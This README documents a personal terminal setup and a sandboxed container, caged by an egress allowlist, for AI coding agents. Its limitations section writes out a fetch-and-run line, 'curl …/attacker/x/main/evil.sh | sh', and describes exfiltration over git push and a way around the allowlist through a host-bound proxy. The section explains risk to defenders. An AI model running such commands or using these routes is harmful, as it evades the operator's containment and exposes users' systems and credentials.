Tuning my terminal setup is my unpaid full-time job. Now it's packaged so others can pick it up as inspiration or as a working starting point.
Most of the code here was generated by AI agents. Comments drift, and the code was only checked against my original intent when I happened to use it. So it is definitely not production ready. Still, I believe the ideas behind it are real and valuable. That's why I share this project and demo it in my videos: the cozy series playlist.
The install steps and the reasoning behind each of them are described in design/.
The most tested path is Apple container on a Mac: a rootless debian:13-slim image behind an egress allowlist you control.
It needs a Mac with Apple silicon, macOS 26 or later, and Nushell on the host (or see Without nushell on the host).
Other targets — sbx, plain Docker, a macOS or Linux host — run the same installer and land on the same toolset.
First, install container from its release page (a signed .pkg).
# the runtime refuses every command until its service runs
container system start
git clone https://github.com/nushell-prophet/cozy
cd cozy
# the allowlist lives outside the repo, so the agent cannot edit its own cage
mkdir -p ~/.config/cozy && cp -r firewall ~/.config/cozy/firewall
container build -t cozy:latest .
# create the container and its egress proxy; the paths are mounted, the first is where you start
nu toolkit/container.nu up my-cozy ~/path/to/project
# connect and start the Zellij session
container exec --interactive --tty my-cozy nu --login --execute 'zellij attach --create my-cozy'With WezTerm, use toolkit; toolkit container attach my-cozy in an interactive nu opens the session in a new window instead.
If the first build fails with Rosetta is not installed, see the Rosetta note at the end of this page.
Everything else about this path — several folders, --ssh-agent, editing the allowlist, recovering after a reboot — is in Apple container below.
Installed everywhere (container and host alike): Nushell, Helix, Zellij, Lazygit, Broot, FZF, git-delta, VisiData, bat, topiary, fd, jj, git, git-lfs — one brew install line.
Claude Code lands here too, but from its own official installer.
Containers only (apt; a host install skips them): procps, file, gcc, libc6-dev, xxd, man-db
From the image, not from the installer: the Debian Dockerfile apt-installs git (brew's newer git shadows it on PATH), curl, rsync, ripgrep, jq, less and openssh-client; the sbx base image ships git, curl, Node.js, Go, ripgrep, jq and gh.
A host install adds none of these — install what you want yourself.
Python 3 is on every path anyway: brew pulls it in for VisiData.
Optional (cozy install): Rust, nu_plugin_polars, nu-plugin-image, Claude Code (reinstall)
Rebuild from source (cozy install): Nushell, Zellij (without web sharing).
--github downloads the release binary instead, for Nushell, Zellij and nu_plugin_polars; Zellij's is also without web sharing unless you add --web-server.
A modern shell for the AI era: Nushell with sensible settings that I've chosen over 3 years of Nushell experience.
Nushell has built-in MCP functionality that lets AI agents use all of its rich capabilities with persistent session state: variables an agent sets survive across calls.
The MCP server is activated for claude code out of the box.
Zellij is an extremely convenient and powerful terminal multiplexer.
A new tab can be spawned via cmd+t and a new pane within the current tab via cmd+n.
The default mode is locked — all keys pass through to the running application.
ctrl+g toggles between locked and normal mode, Zellij's stock key.
Claude Code also binds ctrl+g by default; the shipped ~/.claude/keybindings.json unbinds it there, and its external editor stays on the stock chord ctrl+x ctrl+e, the chord bash binds to edit the command line in $EDITOR (zsh has the same widget, edit-command-line, unbound by default).
Shortcuts:
ctrl+g— toggle Zellij locked/normal modecmd+t— new tabcmd+n— new pane within current tabcmd+w— close the currently selected pane (or a floating window like Helix and Broot, described below)cmd+h/j/k/l— navigate panescmd+shift+h/l— navigate tabs
Helix is my terminal text editor.
It plays nicely with Nushell and is quite newbie-friendly.
cmd+shift+e opens the current pane's visible screen in Helix for easy copying (cmd+alt+e opens the full scrollback).
In Helix, + s (custom + menu, then s) copies the selected lines and wraps them into an XML tag for pasting into AI agents:
<selected-text file="README.md" lines="43-43">selected content here
</selected-text>Your commits should say you made them, and the agent's should say the agent made them. Three layers of git config do that, each narrower than the last:
| Layer | Identity | Applies to |
|---|---|---|
~/.config/git/config (XDG) |
Agent <agent@sandbox> |
the fallback — a placeholder so git commit works before anything else is set |
~/.gitconfig (global) |
you | every git you run — nu, lazygit; overrides the XDG file. jj is separate: it reads JJ_CONFIG, not git config |
GIT_AUTHOR_* / GIT_COMMITTER_* env |
Claude <claude@anthropic.com> |
the Claude Code process only; env beats every config file |
The top layer lives in the env field of ~/.claude/settings.json, which bootstrap step 9 writes.
Claude Code exports it into its own process, so everything it spawns inherits it — the bash tool, the nushell MCP server, subagents — while your own shells, not being its children, keep your identity.
A shell rc export would do the opposite: tag your shells, and still miss the MCP nu.
The middle layer is the one you supply.
On the Apple container path nu toolkit/container.nu up reads your host's git config --global user.name/user.email and forwards them, so a fresh container already knows you — nothing personal is stored in the repo or the image, and it does nothing if you have no global identity set.
Under sbx there is no forwarding yet; set it once per sandbox:
git config --file ~/.gitconfig user.name '…'
git config --file ~/.gitconfig user.email '…'Name the file rather than using --global: git writes to ~/.gitconfig only when it already exists, and otherwise to $XDG_CONFIG_HOME/git/config when that one does — which is cozy's layout, so it would overwrite the bottom layer instead of adding the middle one.
(Under sbx it makes no difference: sandbox creation pre-creates ~/.gitconfig.)
Lazygit is a godsend interface for git that greatly simplifies everyday operations.
Integrated into Zellij — cmd+alt+l opens it in a floating window for staging files and other git tasks.
Uses git-delta for side-by-side diffs.
Broot is a file manager with a tree-like structure and fuzzy search.
cmd+alt+b opens it, and alt+enter pastes the selected path back to the active pane (relative when it sits under the current directory) and copies the absolute path to the clipboard.
I use fzf for navigating Nushell history.
ctrl+f spawns fzf with Nushell history.
Whatever is already on the command line becomes the initial query, anchored as one literal prefix term (ctrl+u inside fzf clears it).
The accept key decides what happens to the selection:
enter— replace the command line with the selectionalt+enter— insert the selection at the cursor
In fzf, tab and shift-tab select multiple commands; they are joined with ;\n.
In-picker toggles: alt+c limits results to the current directory, ctrl+f/ctrl+r switch between recency and relevance sort, alt+r toggles raw display.
The preview pane shows when and where the command ran.
VisiData is a tabular viewer and data multitool by Saul Pwanson.
Nushell's built-in explore is great and I use it too, but for deeper digging vd remains my go-to.
In cozy, in-vd pipes any structured data into VisiData (format auto-detected), and hist queries Nushell's SQLite history with filters and opens the result in vd.
I use Wezterm to connect to this environment on my Mac (on Windows, see the note at the end of this section).
The config is vendored at vendor/dotfiles/wezterm/wezterm.lua; install Wezterm with brew install wezterm --cask.
Why Wezterm is a substantial part of the setup: a terminal normally claims shortcuts like Cmd+T and Cmd+W for its own tabs and windows, so they never reach what runs inside it.
This config disables all of Wezterm's default keybindings, which is what lets Zellij own the tab and pane shortcuts.
If you use a different terminal, free up its default keybindings the same way, or run cozy swap-zellij-super inside the sandbox to move Zellij's bindings from Super to Alt and sidestep most clashes.
Changes from WezTerm defaults:
- QuickSelect (the killer feature):
ctrl+shift+spacehighlights matches on screen for quick copying. Custom regexes extend it to paths, jj change IDs, Nushell error locations (╭─[file:line:col]), and Nushell table headers and values. - Keybindings: all defaults disabled; CMD+SHIFT+letter sends kitty-protocol escape sequences so Zellij and apps behind it can distinguish them
- Dynamic modes: the
ZEN_MODEuser variable adjusts font size at runtime; the sandbox background is set at window creation via--config(see the launch command below)
On Apple container, use toolkit; toolkit container attach NAME opens the window with this config (toolkit sbxw NAME does the same for sbx).
The command it runs, for any other runtime — swap the container exec part:
wezterm --config-file vendor/dotfiles/wezterm/wezterm.lua --config 'colors={background="#000000"}' start --always-new-process -- container exec --interactive --tty NAME nu --login --execute 'zellij attach --create NAME'
On Windows I'd use the standard terminal instead.
I've heard Wezterm is flakier there, and since cozy swap-zellij-super already moves Zellij's bindings from Super to Alt, few conflicts are expected anyway.
There are likely more caveats I haven't tested.
A personal collection of everyday Nushell commands developed over time. In the AI context, two commands may be especially useful:
example— appended to a pipeline (ls | first 3 | example), it grabs the command text from history and formats command + output as a copyable snippet (wraps output in# =>comments and the command innu -c '...')copy-out— grabs commands with their output from Zellij pane scrollback and copies them to the clipboard (output lines are prefixed with# =>)
A key-value store for Nushell.
Autoloaded with the kv prefix.
Command history stacking module.
numd is a module for literate programming.
numd render <file> parses Nushell code blocks in an .md file, executes them, and updates the file with captured output.
dotnu is another module for literate programming.
dotnu embeds-update <file> executes a Nushell script, captures output from | print $in lines, and injects the results back into the .nu file as # => comments after each corresponding line.
A Nushell toolbox for working with Claude Code sessions. Main commands:
claude-nu projects— list projects under~/.claude/projects, most recent firstclaude-nu messages 'regex'— search user messages; scope is whatever is piped in (claude-nu projects | claude-nu messages 'regex'widens to every project), and with no input it reads the whole current projectclaude-nu tool-calls 'regex'— the same search over what the agent actually ran, not what was said;messages,tool-callsandsessionsall take--since/--until(a duration means ago:--since 1wk)claude-nu timeline— one row per content block (text, thinking, tool calls and results) in file orderclaude-nu slash-commands— one row per slash command you invoked, scoped and windowed likemessages;| histogram commandranks them (built-ins are skipped unless--all)claude-nu sessions— parse session files into structured summaries, with selectable columns (--columns/--all-columns: file ops, tool stats, agents, etc.); this is where session selection lives (--last,--sessionby UUID or/renamename,--all-projects)claude-nu workflows— the Workflow tool runs of a session: status, duration, error, agentsclaude-nu export-session— export session dialogue as markdown; it returns the text, so saving is the shell's job (| save session.md)claude-nu project-move— retarget Claude's stored state after a project directory movesclaude-nu gi— status of the git-intent protocol in the current repo; nothing is installed into the repo —gi openloads the Canvas style and skills as a plugin for that launch only,gi new <slug>makes a canvas named from the slug and opens it in your editor,gi import <slug>turns a session's dialogue into a canvas named the same way,gi open <doc>launches a session bound to that canvas, andgi open --fork <doc>copies the canvas to the next name in its series (plan.md→plan_1.md) and opens the copy in a fresh sessionclaude-nu example— pick one of the module's own example pipelines and paste it into the command line, ready to edit and run
The environment also includes Claude Code skills for building Nushell completions, writing opinionated Nushell code, practicing literate programming with numd and dotnu, inspecting or rewriting the Nushell user REPL command history, and reading Claude Code sessions with claude-nu.
nutest is a Nushell test framework by vyadh.
Licensed under MIT.
Not autoloaded — use use ~/repos/nutest/nutest to load.
sbx is Docker's standalone sandbox runtime: isolated, with a built-in AI agent, on macOS and Windows (experimental), arm64 or amd64.
Cozy ran on it first; it now gets less testing than Apple container.
For a step-by-step walkthrough of these commands, see the installation manual.
First, install the sbx CLI: https://docs.docker.com/ai/sandboxes/#get-started
git clone https://github.com/nushell-prophet/cozy
cd cozy
# Create a sandbox with the cozy kit. `shell` is the agent; `--kit sbx-kit/`
# clones this repo in-sandbox and runs the shared run-install.sh boot tail (no
# image build). The trailing paths are mounted; the first one is where you start.
sbx create --name NAME --kit sbx-kit/ shell ~/some/dir ~/another/dir
# connect to the sandbox and start the Zellij session (NAME as chosen above)
sbx exec -it NAME nu --login --execute 'zellij attach -c NAME'Note: the kit installs cozy from GitHub — the latest commit on the default branch — not from your local checkout.
Push before sbx create, or pin --branch <tag> on the git clone line in sbx-kit/spec.yaml.
Windows.
I develop and use cozy on macOS, but I expect some of my students to use Windows.
After brief testing, the main issue turned out to be the keyboard: Windows has no Cmd key, and its Win combinations are reserved by the OS, so the best replacement I've found is Alt.
To apply this automatically, run cozy swap-zellij-super inside the sandbox.
The same command serves macOS Terminal.app, which keeps every Cmd+key for itself; there, also enable "Use Option as Meta key" in Settings > Profiles > Keyboard.
cozy-module/install/run-install.sh is the same boot tail the Dockerfile and the sbx kit run — one script, so the install paths can't drift apart.
It deploys the full environment (nushell, modules, dotfiles, configs) into virtually any Ubuntu-based sandbox or directly onto a macOS host.
Container targets additionally get the system-level setup (apt build deps, the /etc/sandbox-persistent.sh env exports) that a host install leaves to the machine.
For why it's built this way, see design/.
Prerequisite: Homebrew (https://brew.sh).
On a Linux host with passwordless sudo the script installs it for you; on macOS install it first — the script exits early with the copy-paste command, so your sudo password never goes through a script.
A Linux host also needs gcc and libc6-dev (the topiary grammar compiles at install time); the installer fails fast if they're missing.
git clone https://github.com/nushell-prophet/cozy
cd cozy
cozy-module/install/run-install.sh # install
cozy-module/install/run-install.sh --force # reinstall over existing user configsThe Dockerfile builds the lean debian:13-slim image the quick start runs, on Apple container or plain docker run.
Apple container is the tested runtime; the docker and compose path below gets less use.
The agent user gets passwordless sudo only during the build and loses it in the final layer, so the running container is rootless — no standing privilege, which suits working with valuable data.
The image runs behind an allowlist you control: the container's only way out is a squid proxy that allows the domains in allowed-domains.txt and refuses the rest.
toolkit/container.nu builds that cage on Apple container, compose.yaml on docker.
The policy lives in ~/.config/cozy/firewall/, outside this repo; the copy in firewall/ is only a template.
That separation is what makes the allowlist human-managed: an agent working on cozy itself would otherwise edit the very files that define its cage, which are read fresh from the host at the next up.
So the workspace must not be this repo or any parent of it (COZY_WORKSPACE on docker, a mounted folder on Apple container) — everything under it is agent-writable, compose.yaml and the Dockerfile included.
For the same reason, never mount /var/run/docker.sock into the agent and never add it to the docker group; that is root on the host, and no network policy survives it.
Nothing is decrypted.
Squid refuses the CONNECT before TLS begins, so a blocked request never leaves the client — headers and tokens included.
Allowed domains are tunneled end-to-end and keep the origin's own certificate, so no proxy CA is installed anywhere.
cozy verify covers both halves: its tls: row completes a handshake with api.anthropic.com and reports the certificate issuer it got — proof that an allowlisted host is really reachable, and on runtimes that do install a proxy CA (sbx) an assertion that the issuer is not that CA.
Its two egress: rows require a canary domain to be refused with a real block page, and no route out to exist beside the proxy.
A bare docker run of the image has no cage, and fails those rows rather than passing quietly.
Apple container has no compose, so toolkit/container.nu does compose's job by hand — up builds the cage, restart brings it back, reload-egress applies an edited allowlist, refresh-egress moves the proxy pin to upstream's newest maintained image, attach opens a window on it, restarting the pair first if it is not running.
It needs macOS 26 or later: container network create does not exist before that, so on macOS 15 there is no way to build the cage at all.
mkdir -p ~/.config/cozy && cp -r firewall ~/.config/cozy/firewall
container build -t cozy:latest .
nu toolkit/container.nu up my-cozy ~/path/to/project
nu toolkit/container.nu up my-cozy ~/project-a ~/shared-libs:ro ~/docs:ro # several folders
nu toolkit/container.nu up my-cozy ~/path/to/project --ssh-agent # forward the host's ssh-agent
nu toolkit/container.nu restart my-cozy # after the `container` runtime itself restarts — or just attach
nu toolkit/container.nu reload-egress my-cozy # after editing the allowlist
nu toolkit/container.nu refresh-egress # move the squid pin to upstream's newest, rehearsed first
container logs -f cozy-egress # watch what gets allowed and refused
use toolkit # attach needs an interactive nu, see below
toolkit container attach my-cozy --workdir ~/path/to/project
attach opens the WezTerm window as a background job, and a nushell job dies with the nu that spawned it — so nu toolkit/container.nu attach … would exit before the window is up and no window would appear.
Load the module in your REPL instead (the same holds for toolkit sbxw on the sbx path).
Load it as use toolkit, not use toolkit/container.nu: the second form names the module's main container, which hides the container CLI for the rest of that session.
--no-job runs wezterm in the foreground of the current shell, which does work from a script, but blocks it until the window closes.
toolkit/container.zsh is up and restart only, in zsh, for a host that has no nushell installed — same flags, same cage, same refusals.
It needs jq beside container, because the runtime's ls schema is JSON and zsh cannot read it.
The other three commands stay nushell-only, and toolkit/container.nu remains the primary path: when the two disagree, it is right.
./toolkit/container.zsh up my-cozy ~/path/to/project
./toolkit/container.zsh up my-cozy ~/project-a ~/shared-libs:ro ~/docs:ro --ssh-agent
./toolkit/container.zsh restart my-cozy
Several folders can be mounted, spelled the way sbx run spells it: each appears inside at its own absolute host path, and :ro makes one read-only.
The first path is the primary workspace — what WORKSPACE_DIR points at, and where you start.
A folder containing this repo is refused unless it is :ro, for the reason above.
--ssh-agent forwards your host's ssh-agent into the container, so it can sign with your keys without ever holding them.
While it runs, anything inside can sign with them — prefer a key dedicated to this over your personal one.
Every new shell hides the forwarded agent; cozy use-host-ssh-agent --enable turns it on for the current shell.
It can only be set at creation, so turning it on for an existing container means recreating it.
Inside the cage it buys signing, not networking: ssh still cannot cross the proxy.
Signing then needs three lines.
Git defaults to gpg, which is not installed, so git commit -S first fails with gpg failed to sign the data:
git config --global gpg.format ssh
git config --global user.signingkey $"key::(^ssh-add -L | lines | first)"
git config --global commit.gpgsign truessh-add -L prints the public key out of the agent, and key:: tells git the value is a key rather than a path — so no key file has to exist inside the container, which is the point.
Paste the line yourself if the agent holds several.
The container's VM gets 8 GB of RAM and 6 CPUs, not the 1 GB and 4 CPUs container defaults to — --memory and --cpus change both.
Keep --cpus at or below your machine's core count.
One Claude Code process holds around 300 MB, so at 1 GB two of them leave nothing for the page cache and the kernel thrashes their code pages.
That shows up as a container pinning several cores with nothing running in it.
The cozy container lands on a --internal (host-only) network with no route out, and the same pinned squid is dual-homed onto that network and the default one.
Two things differ from the docker path.
A host-only network has no resolver, so the container runs with --no-dns and reaches allowed hosts by handing the name to the proxy, which resolves it on the default network.
And container has no static-IP flag, so the proxy's address is read back after it starts — the container reaches it by the name cozy-egress, which up and restart pin to the current address in its /etc/hosts.
container run on its own sets none of this up: no allowlist, and no WORKSPACE_DIR (which only sbx injects), so cozy sandbox-state and cozy dev-link fail.
Such a container fails cozy verify's two egress: rows, which is the intended signal — there is no cage in front of it.
Pass -e WORKSPACE_DIR=<mounted path> if you deliberately want an uncaged one.
To change what is reachable, edit ~/.config/cozy/firewall/allowed-domains.txt and run nu toolkit/container.nu reload-egress <name> — the container's name is all it needs.
A running proxy re-reads the policy in place (squid -k parse, then squid -k reconfigure), so no container is replaced, the address cannot move, and the cozy container keeps its exit.
The parse step is what makes that safe rather than merely quick: it validates in a separate process and signals only on success, so a list that does not parse leaves the previous one in force.
(Signalling squid by hand fails the other way: on a fatal ACL error — an entry that is a subdomain of a wildcard entry is one — it exits mid-reload and takes the proxy with it.)
Only a stopped proxy gets recreated, which is the one case where the address can move — and when it does, the /etc/hosts pin is rewritten to follow it.
After container system stop/start, an upgrade or a reboot, both containers are stopped rather than gone — the one state up cannot recover from.
restart is for that: it starts the pair (recreating the proxy if it is gone entirely), re-proves the cage, and re-pins cozy-egress to wherever the proxy came back.
A container created before the exit moved to a name carries a fixed address instead, which nothing can update; for those restart asks for a one-time recreation, in as many words.
mkdir -p ~/.config/cozy && cp -r firewall ~/.config/cozy/firewall
COZY_WORKSPACE=~/path/to/project docker compose up -d
docker compose exec cozy nu --login
docker compose logs -f egress # watch what gets allowed and refused
The cozy container is attached to a network created with internal: true, so Docker gives it no default route and no way to resolve external names.
Its only neighbour is the squid proxy.
To change what is reachable, edit allowed-domains.txt and run docker compose restart egress.
The allowlist bounds which hosts anything inside the container — the agent included — can connect to.
It does not filter what travels over an allowed connection, in either direction.
Squid sees the hostname and nothing else — no path, no body — so any allowed host that lets strangers publish is an open door: curl raw.githubusercontent.com/attacker/x/main/evil.sh | sh passes this list cleanly, and github.com, the githubusercontent hosts and ghcr.io are all in that class.
Reading content would require TLS interception, which this deliberately does not do.
Outbound is the same story: github.com carries git push, so with a credential in your workspace it is a full exfiltration channel.
internal: true removes the route to the internet, but the Docker bridge's own gateway address stays in-subnet and reachable.
A process bound on the host's 0.0.0.0 — a dev server, a proxy — can still be reached directly from inside the cage, and a proxy there would sidestep the allowlist entirely; verified by proxying a blocked request through a host-bound squid from inside.
A published container port (-p) is not in this class: Docker refuses to forward out of an internal network, and the attempt times out (checked on Docker 29.6).
Closing the hole needs a host-level DOCKER-USER iptables rule, which compose cannot express.
The proxy itself refuses to fetch private addresses for anything inside the cage, so this is a direct-connection risk only.
Apple container's --internal has the same hole and no equivalent of that iptables rule; a container system pf command that would scope packet-filter rules to a network is proposed upstream but not shipped.
cozy verify is a smoke test, not a tamper detector.
Its own source lives in the container at a path the agent owns.
Some things break for reasons the allowlist cannot fix.
ssh cannot travel through an HTTP proxy at all, so git@github.com: remotes fail — with an error that blames your credentials; --ssh-agent carries the agent in, not a route out, so it signs commits and does not fix remotes.
Node's built-in fetch ignores the proxy environment, so scripts and HTTP-based MCP servers fail with a DNS error even for an allowlisted host; Claude Code itself is unaffected, it wires its own proxy agent.
Claude Code's WebFetch refuses anything off-list, while WebSearch keeps working since it goes through the API.
Apple container on Apple Silicon: the first container build can fail with Rosetta is not installed.
The builder VM defaults to [build] rosetta = true, so it wants Rosetta even for a native arm64 build.
Fix it without installing Rosetta: put rosetta = false under [build] in ~/.config/container/config.toml, then container builder stop && container builder start.
An arm64 build never runs x86, so Rosetta stays unused either way.
